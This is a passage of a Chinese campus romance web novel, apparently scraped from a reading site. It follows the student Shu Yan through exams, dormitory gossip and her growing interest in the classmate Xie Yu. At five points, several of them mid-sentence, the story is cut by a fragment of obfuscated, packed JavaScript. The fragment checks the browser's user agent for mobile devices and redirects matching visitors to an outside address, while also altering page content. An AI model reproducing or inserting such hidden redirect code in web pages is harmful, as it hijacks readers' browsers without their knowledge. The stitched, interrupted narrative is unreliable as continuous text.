陶续看也不正眼看他，转身要往别的方向走。 谢玙却是丝毫不退让，拦住不让他走。 他耐着性子加大了音量，“我说—去—道—歉，去向刚才差点被你砸到的女同学道歉。” 陶续斜睨了他一眼，发出一声嗤笑：“你在这装什么好人。” 谢玙努力克制住心中的怒火，“陶续，别的我都可以不计较，但是你今天必须去道歉。” 眼看着两人之间的气氛越发剑拔弩张，雷群赶紧出来打圆场，生怕两人当场就要动手。 他刚才也看到了，确实是陶续故意把球扔过去，差点就砸到人家女同学了，这事本来就应该道歉。 “好了，陶续，你过去和那个女同学道个歉。” 见他没动，雷群直接上手推了他一把，“快去啊，听到没有。” “难道还要我押着你过去吗？” 陶续鼻腔里发出一声哼笑，心里的恨意不停翻涌，“行。” 说完他气势汹汹地朝着刚才球飞过去的地方走去。 等过去了，也不知道是冲着谁说的，扔下一句“对不起”就走了。 留下那一块的学生面面相觑，头一次见人道歉是这个态度的。 蔡妙妙不明所以，“天哪，这人是谁啊，他刚才是过来道歉的吗？” 旁边有同学随口接到：“我看更像是过来讨债的。” 陈质也是气不往一处来。 忍不住在心里吐槽：这什么人啊，这么没素质。 接下来的比赛倒是没啥波折的结束了，他们班最后还是输给了17班。 冉华容倒是对这个比赛结果还算满意，17班的实力确实很强，他们班只是运气不好，一来就抽到了强劲的对手。 她安慰班上的同学，“没事的，同学们，友谊第一，比赛第二，我们后面还有比赛，只要我们团结起来，我相信下一次肯定会赢的。” 体委王远也附和道：“对，冉老师说的没错，这次是我们轻敌了，接下来的几场比赛咱们再接再厉。” 唐临：“继续加油。” “我们下次肯定能赢。” “……” 就这样，在班主任的鼓励下，他们班又恢复了原本的气势。 …… 篮球赛又持续了一周。 剩下的三场比赛他们班赢了两场，输了一场，最终在年级上的排名也还可以。 这次篮球赛17班取得了年级第一名。 所以说他们班第一场输的真不冤，毕竟出场就遇到了种子选手。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236192|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >而随着这次篮球赛的进行，谢玙这个名字在学校里也被很多人熟知。 舒言偶尔在厕所都会听见有同学在讨论他。 有时候是听见他的名字，有时候是篮球7号。 而谈论的话题无非是觉得他好帅，还有他有没有女朋友之类的…… 舒言还听说高一高二都有女生在追他。 而这些都足以证明，他的确很受欢迎。 只是舒言并没有太多精力去关注这些，不过都是偶然从某些同学口中听说的。 还有一周就是第二次月考了，她必须做好准备全力以赴。 …… 三晚的前半段时候，舒言一直在做物理作业。 虽然她最近有认真听课，但还是被最后一道大题给难住了。 她手拖住左脸，神色有些疲倦。 她的同桌陈质的物理一直很好，不过她还是没有立马向陈质求助，她想自己再试试看。 舒言再试着梳理了一遍题目给的条件，然后进行受力分析，再带入公式进行演算，算了整整两页草稿纸，才终于得到了一个答案。 不过她不是特别确定。 她写了一张纸条递给陈质，“可以给我看看你最后一道物理大题的答案吗？” 陈质立马把练习册递给了她。 舒言屏住呼吸翻到那一页，直接往最后的结果看去。 果然对了。 她的脸上不由自主露出了开心的笑容。 然后她又仔细看了陈质的解答过程，他的方法明显要比自己的简单得多。 不过舒言也没有因此气馁，这道题现在她也算是掌握了两种解答思路。 不知道明天物理老师会用哪种方法给他们讲解。 还给他练习册的时候，舒言低声说了句：“谢谢。” 陈质一看她脸上的表情就知道她做对了，心里也很替她感到高兴。 其实能从初中靠自己考到他们这个班的学生，智商都不差的，只是有些同学上了高中后一直适应不过来，所以在成绩方面暂时有些落后。 陈质知道舒言就是这样的人。 她其实很聪明，又很细心，而且她的英语和语文那么好，迟早都会考出来的。 整个三晚他们班一直都很安静，没有一个人讲话，大家都在紧张的做题中度过。 直到下课铃声响起，同学们这才不舍地放下了手中的笔。 不知道是谁突然喊了一句，“外面下雨了。” “咦，是诶，还好我带了伞的。” “糟糕我忘记带伞了，怎么办啊……” 舒言一直都有带伞的习惯，收拾好书包后她就像往常一样往一楼走去。 她和许漫约好了要一起回宿舍。 舒言到的时候没看到许漫，楼梯口有同学在撑伞，她就往旁边站了站。 楼上传来男生说说笑笑的声音。 没一会儿，几个男生的身影就出现在了楼梯口。 “快走。” “外面下雨了啊。” “阿玙，你有伞吗？” “没有。” “靠，那咋办。” “直接走吧。” “行。” 最高的那个男生率先冲进了雨里，见其他人没跟上来。 他转过身笑着朝他们招手，声音里丝毫没有被雨淋湿的不悦，反而多了丝轻松和愉悦，“快走啊。” 借着走廊幽微的光线，舒言如愿看清了男生的长相。 竟然……真的是他。 男生漆黑的头发耷拉着贴在他的额头上，眼睛弯成好看的弧度，脸上的笑容干净、耀眼，少年感十足。 很快，他的同伴也跟上了他的脚步。 一群少年就这样说说笑笑地闯进了雨里。 脚下溅起的雨花是天然的节拍，像是在为他们的勇敢无畏喝彩。 这样的画面，美好得像是在电影里才会出现。 在某个瞬间，或许是他伸出手的那一刻，舒言也想跟着他一头扎进这场猝不及防的春雨里。 5. 第5章 过了几分钟，许漫一脸歉意地小跑过来。 她解释说自己找东西花了点时间。 两人回到宿舍后，许漫就迫不及待想去洗澡。 刚才回来的路上被雨溅到裤子上，身上黏黏的，很不舒服。 她随手抓起自己的睡衣就往阳台去了，“舒言，我洗快点，马上就到你。” 舒言身上的衣服也被雨打湿了，她回来就把外套脱了。 很快浴室里就传来哗哗哗的流水声，渐渐掩盖了外面的雨声。 也就几分钟时间，许漫就洗完澡出来了。 她洗澡的速度一直很快，今天也只是简单冲了一下。 许漫拿毛巾擦着脸，“你去洗吧。” 舒言点点头，拿上了自己的洗漱用品。 等她洗澡出来，其他室友也都回来了。 室友提着东西问她们：“我们从食堂带了吃的回来，你们要不要吃点。” 许漫一脸欣喜跑过去，“有什么吃的啊。” 室友一一和她展示，“买了鸡排和土豆。”然后又朝舒言招手，“舒言，你也过来一起吃呀。” 舒言晚上没有吃夜宵的习惯，就找了个借口拒绝了。 室友一脸遗憾：“真是可惜了，你都不知道，这个鸡排可好吃了。” 许漫尝了一口，也觉得味道还不错。 在她们吃东西的时候，舒言又去阳台晾衣服。 吃饱喝足后，鹿铃儿这才想起了大事，“快快快，你们谁的数学作业借我看看。” 许漫摊摊手：“没带。” 其他几个室友表示自己也没做完呢。 对高中生来说，数学作业做不完已经是家常便饭。 舒言拉开书包拉链，从里面拿出了自己的数学练习册，“我带回来了。” 鹿铃儿感激地接过来，“呜呜呜，我的数学终于得救了。” “太感谢你了，舒言。” 舒言被她可爱到，“没事的。” 她原本是打算带回来纠正错题的，但是今天晚上她突然有了灵感，就想把每周一次的随笔先写了。 熄灯后，室友们都在干着自己的事情，谁也没出声。 舒言很享受这样安静的环境，她想起今天晚上这场突如其来的春雨，想起那群在雨中奔跑的少年。 他们肆意、张扬、自由。 灵感源源不断从脑海里涌出。 今天晚上她写了一个有关青春的小故事。 等写完最后一个字，舒言心满意足地合上了自己的笔记本。 她刚要动动胳膊，就听见下铺的鹿铃儿在叫她。 “舒言，给你，我借鉴完了。” 舒言伸手接了过来。 鹿铃儿发出一声疲惫的喟叹，“终于把今天的作业写完了，真是不容易。” 另一个室友一边奋笔疾书一边说话：“啊，我也快了。” 许漫坐在床上用MP3听林菲的歌，她晃着小腿，十分地惬意。 等大家作业都差不多完成以后，鹿铃儿突然兴致勃勃地说：“对了，你们还记得我之前说的17班有个帅哥吗？” “我跟你们说我这周看见真人了，确实长得好帅啊。” 有室友探出头八卦地问：“到底有多帅，快描述一下。” 鹿铃儿试着和她描述：“他应该有一米八几，挺瘦的，很白，大双眼皮，高鼻梁，嘴唇看上去软软的，特别好亲的样子。” “不过他看上去挺高冷的，感觉不咋搭理人。” 一个室友感叹道：“哇，听你的描述，确实是个大帅哥啊。” 鹿铃儿：“绝对是的，我跟你们说，这次篮球赛他可算是在学校出名了，好多女生都知道他。” “而且你们猜他身上最绝的一点是什么吗，就特别言情小说的那种……” 室友越发好奇，“啊，是什么？” “据说他左手腕内侧有一个很小的心形胎记，他们说有这个胎记的人天生就是情种……” “又帅又深情，真不知道什么样的女生才能追到他。” “我的天，心形的胎记，真想看看长什么样。” 鹿铃儿嘿嘿一笑，“改天带你们去看，名字我都打听到了，叫谢玙。” 听见这个名字，舒言翻书的动作慢了半帧。 其实鹿铃儿刚开始说的时候，她就已经猜到是他了。 “你们在说谁？”许漫怀疑自己听错了，她摘了一边耳机问。 鹿铃儿：“就17班的一个帅哥，叫谢玙。” 许漫直接把音乐暂停了，“啊，谢玙？这不是我小学同学吗？” 鹿铃儿：“！！！” 她直接下床跑到许漫那边，双手做祈求状，“许姐，求介绍，我要认识他。” 其他室友也重复道：“求介绍。” 那眼神仿佛全都在说能不能和帅哥做朋友全都靠你了。 许漫有些许无语。 她挠了下脑袋，坦白道：“那个，其实我和谢玙也不是很熟。” “我们是小学同学，但是他中途就转学了，我们都好多年没见了。” “那次在小卖部碰到我才知道他转来这里上高中了。” “哦，对了，那次舒言也看到了。”许漫突然cue到她，“舒言，你还记得那两个男生吗？长得帅的那个就是谢玙。” 没想到舒言也见过谢玙，其他室友一下都看向了她，满脸写着好奇。 舒言的视线从书上挪开，在室友热切的注视下，她眨了下眼睛，温声道：“有印象。” 末了，又补充道：“他长得……是挺帅的。” 鹿铃儿一脸兴奋，“你看你看，果然大家的审美都是一样的。” 许漫轻咳了一声，接着说：“不过他这个人看上去也不是很喜欢和别人交朋友的那种，而且我莫名奇妙地带你们去17班介绍你们认识好像也很奇怪。” 鹿铃儿灵机一动，“那你有没有他的Q.Q号。” 许漫认真回忆了一下，“这……还真忘了。” 她不确定地说：“应该……有吧。” 她被问得有些烦了，“哎呀，你看看你们这群女人，是不是春心荡漾了啊。” “能不能和我们舒言学学，多把心思花在学习上。” “我跟你们说，你们还是趁早打消念头，人家是玩音乐的，估计会喜欢那些长得很漂亮的艺术生……” 鹿铃儿白净的脸蛋泛起一抹红，“嘻嘻，人家只是想认识帅哥而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236193|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已啦。” 许漫知道她们其实也就是八卦，她重新戴上了耳机，“以后在学校碰见再说吧。” 不管怎么样，鹿铃儿还是沉浸在这个好消息中，她又忍不住抬头问。 “对了，舒言，你们班是不是和17班打过篮球啊。” 舒言：“是的。” 鹿铃儿：“那他打篮球的时候是不是特别帅，好多女生为他呐喊的那种。” 特别帅吗？ 舒言还真的仔细回忆了一下，他在球场上的确很耀眼，轻轻松松就可以夺得所有人的目光。 给他加油的人确实也挺多的。 不过这些事情放在他身上，似乎都挺正常的。 鹿铃儿又追问了她几句，然后没忍住连打了好几个哈欠。 这会儿已经快到晚上12点了，大家都默契地熄灯睡觉了。 —— 第二次月考安排在周四和周五两天。 第一堂考试是语文，一共两个半小时。 舒言按照考场信息找到自己考场时，发现居然是在高一17班。 她到的时候，教室里还有本班的同学在拿东西。 舒言下意识地往里面看了一眼，却没有看到那个熟悉的身影。 一股很陌生的失落感悄然出现，像突如其来的小雨，细微又不容人忽视。 忽然想到什么，她抿抿唇，径直走到教室黑板右侧的粘贴栏处。 正要在上面寻找有关他的信息，身后突然传来一声带笑的低语。 语调懒懒的，像是还没睡醒。 “看考场呢，同学？” 极具辨识度的声音让舒言很快反应过来是谁。 只是他似乎把自己当成了同班同学。 也是，他才转学过来，估计还没认完班上的同学。 他好像又往前站了一点，舒言甚至能感觉到他弯了点腰，那股淡淡的草木香气又钻进了她的鼻腔。 舒言的背脊僵住，她下意识地抓住了书包的两根带子，想转身就走，又觉得这样像是干坏事被人抓包了一样。 胸腔内传来“咚咚咚”的心跳声，宣扬着一种微妙又奇特的感觉。 她直愣愣的站着，完全不敢动弹，生怕不小心碰到他。 不知道是不是觉得她的反应十分有趣，身后那人掩唇轻笑了一下，随后伸出手指到自己姓名的地方，还特意点了一下。 像是在强调什么一样，“嗯，这次应该记住了吧。” 然后直起身来，随手把校服外套搭在肩上走出了教室。 舒言听见外面有人问他刚才在干嘛。 他只淡淡回了句：“看考场呢。” 她侧目往教室外望去，外面骄阳正好，少年俊朗的眉目融合在金黄色的暖阳里，和她隔着几米的距离对视上，又默契地迅速移开。 很快，一行人就消失在教室外。 舒言收回视线，目光重新落在他刚才指到的地方。 谢玙。 原来这才是他的名字。 舒言的唇角不自觉扬起小小的弧度。 这会儿来考场的人已经很多了，舒言找到了自己的座位。 她的座位号是7号。 和他球服上的号码一样。 6. 第6章 最后一堂考试结束后，高一年级的学生终于迎来了短暂的解放。 离开考场前，舒言把座位签撕下来放进了笔袋里。 她刚回到教室里就有同学拥上来和她对英语答案。 舒言的英语成绩在他们班一直是数一数二。 这次的英语试题有难度，舒言也有一两个选项拿不定主意。 等其他同学散开后，李嘉才走了上来。 “舒言，英语试卷借我一下。” “哦，好。” 舒言和李嘉的交集并不多，一个学期下来都说不上几句话的那种。 李嘉神色严肃地盯着她的试卷，等看到后面才渐渐缓和。 他主动凑近了些，分析道：“完形填空你圈起来的这两个我也很纠结，但是我觉得选C的可能性比较大……” 舒言安静听他说着，觉得他说的也挺有道理，不过她还是坚信自己的答案。 李嘉把试卷还给她，“等晚自习老师把答案给我们就知道了。” “对了，这次的英语试卷你花了多久时间？” 他知道舒言的做题速度很快，之前英语考试给他们在晚自习考试的时候他就发现了，加上听力作文一起，舒言基本只有60分钟左右就可以完成了，并且正确率不低。 舒言回忆了几秒，“这次花了70分钟左右吧。” 李嘉点点头，他花了93分钟，比起舒言来说还是太慢了。 “可以问问你为什么做题的速度这么快吗？” 关于这个问题…… 舒言觉得自己做题速度快其实是因为她的阅读速度很快。 上小学的时候她弄丢过一次家里的钥匙，之后陈岚就没有再给过她钥匙了，每次放学后她就只能一个人坐在她家门口的台阶上。 等待的时间太难熬了，她就总是捧着一本书看，那时候看《安徒生童话》、《格列佛游记》、《八十天环游地球》、《鲁滨逊漂流记》……甚至连《新华字典》、《成语字典》这些都被她翻阅了好几遍。 从下午两三点等到晚上七八点，从天朗气清看到楼道昏暗的小灯亮起。 小小的楼梯间仿佛成了她的专属图书馆。 或许就是那个时候开始，她养成了阅读的习惯，读书的速度也越来越快。 当然这段经历她从不曾也不会告诉别人。 面对李嘉探究的目光，舒言只简单回复道：“书看多了，速度自然就提上来了。” 李嘉若有所思地点点头，“谢谢你，以后可以一起交流学习。”说完就匆匆离开。 晚饭随便在食堂吃了碗面，舒言就赶回来继续上晚自习。 各科的答案已经发下来了，教室里一会响起欢呼雀跃声，一会又响起懊恼痛呼声，此起彼伏。 今天晚上的晚自习是数学晚自习。 数学老师艾匀是个三十多岁的男人，个子大概一米七左右，胖胖的，头顶发量堪忧，毕竟“聪明绝顶”可不是说说而已。 此刻他左手拿着保温杯，右手抱着书和试卷，挺着啤酒肚走了进来。 一进来艾匀就笑呵呵地问他们考的怎么样。 底下立马传来一阵哀嚎。 艾匀脸上的笑容顿时僵住，又开始发表他的经典名句，“怎么会呢，我当时一拿到试卷，心想这次我们的学生绝对没问题，上一百四分的不知道有多少……” 他眯了眯眼，一脸怀疑地问：“你们怕不是在骗我哦。” 底下有学生吼，“老师，真的太难了。” “toodifficult！！！” “没骗你啊，这次题出得太难了。” 陈质扭头问舒言，“这次感觉咋样。” 舒言也有些苦恼：“感觉一般。” 最后一道大题她都只做出来第一问，倒数第二道大题她第三小问没做出来，选择题错了两个，填空题也错了一个……总之就是特别糟糕。 看出她心情低落，陈质温声安慰她，“没事，慢慢来，这次确实挺难的。” 艾匀听了一圈他们的抱怨，这才拿出试卷来，“来吧，我们一起看看这张把你们难倒的试卷到底有多简单……” 蔡妙妙一个没注意就笑出了声，引得班上的人纷纷侧目。 她拼命捂住嘴巴，“没……没什么。” 她真的不是故意的，谁让数学老师太幽默了。 不过好在这点小插曲艾匀也没计较，全身心地投入在试卷的讲解中。 蔡妙妙偷偷扭头看舒言，可怜巴巴地眨了眨眼睛，后者给了她一个安慰的眼神。 二晚后半段时间数学老师没讲课，留给他们自己复习整理。 舒言立马开始整理错题。 这次考试有两道题目都是她粗心错掉的，她在旁边贴了一个小标签，提醒自己下次不要再错同类型的题目了。 窗外夜色寂寥，四月的晚风徐徐，带了些许凉意，周围静悄悄的，只偶尔传来一两声动物的鸣叫。 白炽灯明亮的光落在舒言白皙秀美的脸颊上，低头太久，脖子有些酸软，她抬起头活动了一下，就又埋头在数学的题海中。 — 周末一晃而过。 周一早上，舒言把语文作业抱去办公室后，冉华容就让她把他们班这次月考的答题卡拿去发了。 最上面那张的答题卡就是舒言的，冉华容眼底是掩盖不住的赞赏。 “这次的作文写的很不错，至少55分以上。” “我看了一下，其他部分也做的不错。” 办公室另一个语文老师投来羡慕的眼神，“冉老师，还是你有福气啊，班上有个语文成绩这么好的课代表。” 冉华容和她客气了几句，不过开心欣慰的神情是藏不住的。 开学没多久，她就发现舒言这孩子在语文上是有天赋的，尽管上学期舒言的总成绩排名并不高，在期末考分班后，她还是把舒言留在了理科尖子班。 她觉得这孩子身上有股韧劲，多给她一些时间，她肯定能起来的。 “好了，你快回去上课吧。” “好的，冉老师。” 舒言回去后就把答题卡挨个分发给同学，只是发到最后一份时却愣了下。 微凉的指尖触碰上答题卡上字迹遒劲有力的班级和姓名。 上面赫然写着—— 高一17班，谢玙。 他的答题卡应该是被错分到他们班了。 见她盯着张答题卡愣神，蔡妙妙好奇地问：“怎么了，言言，有什么问题吗？” 舒言抬了下眼皮，“没什么， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236194|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有张其他班的答题卡错分到我们班了而已，我下课后去还。” 蔡妙妙哦了一声，也没多问。 回到座位上，舒言控制不住地看向这份答题卡。 理智告诉她，偷窥别人的答题卡是十分不礼貌的行为。 可是内心又有几分抑制不住的好奇。 她注意到他的字迹很漂亮，是很标准的行楷，一看就是小时候特意练过的。 卷面也很干净整洁，是阅卷老师会喜欢的类型。 舒言又快速扫了一眼他的作文题目。 这次月考的作文是议论文，论题是独行还是同行。 从他的题目来看，他好像比较倾向于独行。 不能再继续看了，舒言在心里提醒自己。 在上课铃声响起前，她把答题卡小心收进了抽屉里。 本来打算下课就去把答题卡还给他的，结果没想到一上午都没有时间。 舒言想着今天下午一定要去还给他。 …… 下午第一节下课后，班上齐刷刷地睡了一片，舒言拍拍蔡妙妙的肩膀。 “妙妙，陪我去还一下答题卡好吗？” 蔡妙妙努力睁着睡意朦胧的眼睛，“啊，言言，我太困了，你自己去还吧。” 看着她睡意昏沉的模样，舒言无奈笑笑，自然也不可能勉强她。 “好，那我去了。” 高一17班的班级在同一栋教学楼二楼左侧的边上，舒言平时很少从这里经过。 她是一路跑下来的，可快到17班门口的时候，脚下的步子又慢了下来。 心里思考着她待会应该怎么和他开口。 要不要把他叫出来，还是说直接让他们班同学转交。 末了，又发觉自己实在想得太多。 她只是还个答题卡而已，又不是给他递情书。 而且说不定他现在根本不在班上。 纠结犹豫间，舒言已经走到了他们班门口，她往里面飞速扫了一眼。 正如她预料般那样，他果然不在。 她把答题卡递给门口那位同学，“你好，这是谢玙同学的答题卡，麻烦你转交给他，谢谢。” 说完也没多停留，直接转身快步离开了。 …… 谢玙和同学从小卖部回来经过教室前门的时候，突然被人叫住了。 坐门口的同学递给他一张答题卡，“刚有人拿来还你的。” 谢玙定睛一看，发现是自己“消失”的语文答题卡。 他还以为真的丢了，没想到现在又回来了。 不是什么重要的东西，他没太在意地收下，说了句谢谢。 何昭倒是一脸八卦地多打听了几句。 谢玙拎着瓶汽水走在前面，何昭赶紧跟了上去。 他凑上去，露出个意味深长的笑，“我说这怕不是哪个女同学暗恋你，故意偷拿了你的答题卡，现在又拿来还你吧。” 谢玙瞥了他一眼，脸上没什么表情，却看得何昭心里怪怪的。 “怎……么了。” 谢玙懒得理他，“除了你，应该没人会这么无聊。” 何昭：“……” 等他反应过来后。 靠！！！ 老子才不暗恋你。 7. 第7章 月考的成绩是在周一晚上出来的。 成绩单传到舒言这里的时候，她已经等待得十分煎熬，像是被人绑在了悬崖边上，底下就是刀山火海。 舒言深吸了一口气，屏住呼吸习惯性的从最后开始找自己的名字。 在看到自己名字的那刻，心跳声愈发汹涌，仿佛整颗心脏都要从胸腔里跳出来一样。 可是在看清自己成绩的以后，那种紧张刺激的感觉又如退潮般慢慢平静下来。 这是进入高中以来，她第一次考进了年级前三百名。 一股难言的喜悦充斥着她的胸腔，她的心脏仿佛被一大团棉花糖包裹着，柔软得不像话。 这是时间回馈给她努力已久的礼物。 是她一直期盼着的。 “恭喜你啊，这次进步不少。”陈质很真诚地祝贺她。 他继续调侃道：”大才女，这次的语文作文拿了59分，又是年级第一啊。” “你快救救你同桌的作文吧，我写个作文怎么能老是偏题。” 闻言，蔡妙妙立马转过身来，开始吐槽：“就是啊，天知道这次我的作文只有35分，请问我是骂阅卷老师全家了吗？” “噗……” 陈质一个不小心就笑出声来。 “35分？蔡妙妙，你也真是个人才。” “你多少呢。”蔡妙妙撇嘴，伸长脖子去瞄成绩单。 看见自己作文成绩的时候，陈质瞬间笑不出来了，他脖子涨得通红，“我38。” “哈哈哈哈，笑死我了，还好意思笑我……”蔡妙妙笑得直接趴在了桌上。 目睹全程的舒言眸中闪过一丝无奈。 但是作文只有30多分，确实多半是偏题了。 等笑够了，蔡妙妙才直起身来，她深深叹了口气，“谁能想到，这辈子心跳最快的时候不是因为看到了喜欢的人，而是看到了我苦命的成绩。” 她转回身去，把卷子往脸上一盖，开始祭奠自己再一次死去的成绩。 这次舒言的语文作文写的很好。 很多班的语文老师都把她的作文印发给了自己班上的学生，让他们参考学习。 其他班的学生对她的名字算不上陌生，毕竟从高一上学期开始，每次考试后他们都会收到一份舒言同学的作文。 娟秀工整的字迹，整篇作业读下来只觉得笔酣墨饱，挥洒自如，妙语连珠。 不管多么难的作文题目，她每次都能够交出满意的答卷，实在是让人惊叹的才华横溢。 对于自己语文和英语，舒言从不担心。 这次考试的数学成绩也算有了一点进步，只是物理还是没有多大起色。 高中物理无疑是难的，它极其考验一个人的思维能力，能够学好物理的人多少是有点天赋的。 他们班上很多物理好的同学都是相当聪明的，有的甚至已经自学完了高中物理的课程，开始攻克大学物理的内容。 每每看到他们满分的物理成绩，舒言的心里自然也是羡慕的。 她清楚自己和他人的差距，可是她并不害怕，也不会被难倒，她只会在征服物理的路上越挫越勇。 _ 四月中旬，气温攀升，午后的阳光透过玻璃窗洒进来，像流淌的金色河流，温柔抚摸着学生们青涩朝气的脸庞。 下午第二节课下课后是个大课间，舒言和他们班物理课代表一起去办公室抱物理作业。 他们班的物理课代表是一对双胞胎姐妹花。 姐姐叫许愿，妹妹叫许茉。 姐妹俩长得十分灵气可爱。 班上几乎没有同学能够分清楚她们俩姐妹，舒言上学期和她们当过一段时间的前后桌，渐渐熟悉了以后就能分清楚她们了。 在她看来，姐姐许愿温柔安静，妹妹许茉娇憨可爱，姐妹俩各有各的特质。 现在她就是和许愿一起去的办公室。 物理老师的办公室在教学楼二楼左侧转角的连廊上，去往的路上需要经过高一17班。 也是这个时候舒言才想起，上次看见谢玙好像还是在月考的第一天。 自那以后，她便没有在学校见过他。 不是没有听室友或者同学提到关于他的消息，只是那些消息很多时候都被作业这头猛兽所吞噬。 她几乎一直坠落在题海，偶尔才有上岸喘息的机会。 见舒言盯着高一17班的教室门口在看，许愿好奇地问她怎么了。 “没什么。”舒言收回视线，“我们快去办公室吧。” 许愿点头说好。 物理老师见她们来抱作业，亲切地问候了她们几句。 舒言借此机会又问了一个自己不懂的问题。 回去的时候又要经过17班。 原本都没什么不同的，只是再次经过他们班教室后门的时候，一串轻快撩人的吉他声徒然从里面传出。 紧接着是男生如清泉般流淌的歌声，带着点磁性的低哑，缱绻温柔，近似耳边呢喃的情话。 他的歌声仿佛施了魔法，让教室外的学生都忍不住慢下了脚下的步子，好奇的往教室里面张望。 许愿干脆拉着舒言停了下来。 静立听他唱了几句后，许愿有些惊喜地说：“是林菲的《我想》！” 舒言也听出来了。 这是她最喜欢的一首歌，没想到被他唱得那么好听，而且唱出了和林菲完全不一样的感觉。 林菲唱这首歌的时候带了一丝明显的忧愁，而他的嗓音却让这首歌多了一分生气，让人瞬间想到春天长出的绿色嫩芽，想到枝头绽放的鲜花……让人觉得世界好像没有那么糟糕，好像努努力就能拥有想要的一切。 舒言的目光自动滤过教室里的其他人，准确无误地落在唱歌的那人身上。 少年坐在教室的角落里，一头黑色利落短发，金色的阳光衬得他肤色暖白如玉，睫毛的侧影落在他挺拔的鼻梁上。他坐得随意，怀里抱了个绿色的吉他，低头轻拨和弦。 唱到那句“我心里突然多了个秘密”的时候，少年漂亮的喉结轻轻滚动了一下。 不知道是不是察觉到什么，少年骤然往教室后门的方向看去。 室外春光明媚，许久没见的女孩就这样闯入他的视野，明亮澄澈的眼睛中带了点欣赏和享受。 两人的目光毫无意外地在空中碰撞纠缠在一起，只是这一次，两个人都没着急挪开视线。 也就是在那个刹那，周遭的一切好像都被自动屏蔽了，只剩心跳如鼓。 歌声戛然而止。 舒言从清泠治愈的歌声中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236195|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回过神来。 见他没再继续唱，她突然意识到一个问题，他是不是……不喜欢别人偷听。 她们好像打扰到他了。 她急忙递过去一个抱歉的眼神，提醒同伴：“许愿，我们回去吧。” 许愿还沉浸在刚才的歌声中，好几秒才反应过来。 “哦哦，好的。” 等她们离开后，教室里响起一阵掌声。 “哇，真的太好听了。” “这次五一的文艺汇演，咱们班绝对是第一啊。” “就是就是，谢玙，你唱歌真的太好听了。” “谢玙，快给我签个名，你以后肯定会大火的。” “谢玙，还好有你啊，这次五一的汇演咱们老班不用愁了。” “……” 何昭轻啧了一声，不得不感叹这人真是该死的有魅力。 长得帅就算了，还这么有才华。 谢玙装吉他的时候，何昭在旁边碎碎念。 “阿玙，你是没看到，刚才你唱歌的时候，教室外面好多人都忍不住驻足倾听。” 他刻意压低了声音，“我跟你说，还有之前咱们认识的那个美女呢。” “就那个，你还记得吗，许漫的室友。” “叫……什么来着，对了，是叫舒言。” 他拍了拍大腿，从抽屉里找到已经被揉成一团的作文纸，一副恍然大悟的样子，“我就说这名字为什么熟悉，原来是咱们年级那位文坛奇才啊。” “我就说上次许漫介绍的时候，我老觉得这名好熟悉，原来就是她啊。” “想不到啊想不到，兜兜转转，我这个作文苦手居然认识了作文大佬。” 何昭对着舒言的作文忍不住品鉴赞叹，“人家这作文确实是写的牛啊，里面好多事例和成语我听都没听过……” “下次碰见，我一定要请教一下，怎么才能把作文写得这么有面，下次亮瞎语文老师的大眼。” 谢玙坐在座位上，手里漫不经心转着笔，毫无留情地打击他，“人家和你很熟吗，就要教你写作文。” 何昭：“……” “不是，不带这么打击人的。” “你说的没错，我和这位文坛奇才是不熟，倒是许漫熟啊，我让许漫把她约出来不就行了。” “或者……”何昭朝他挤眉弄眼，“谢玙，要不你出卖一下色相吧，让我们几个变得熟一点……” 谢玙斜睨了他一眼，“滚。” 何昭笑嘻嘻的，“不是，你这人也真是，这么多美女追你，1班的周荔，22班的赵欢宜……你都没有喜欢的？真的一点都不心动？” 每次看见那些美女被无情拒绝后的尴尬表情，他都觉得于心不忍。 谢玙神色冷淡，眼神警告他不要再继续说了。 何昭撇撇嘴，“真搞不懂你会喜欢什么样的，这么多美女都没一个动心的。” 喜欢什么样的？ 谢玙目光散漫地看向窗外绿油油的香樟树，炙热的阳光被反射进琥珀色的眼眸中，他抬手挡了下眼睛，脑海里浮现那抹纤细亭亭的身影，长得跟春天的桃树似的，充满鲜活明媚的生命力。 他往椅背上靠，手指无意识的在桌面轻敲，随口扔下句：“不知道，反正不是作文写得不好的。” 8. 第8章 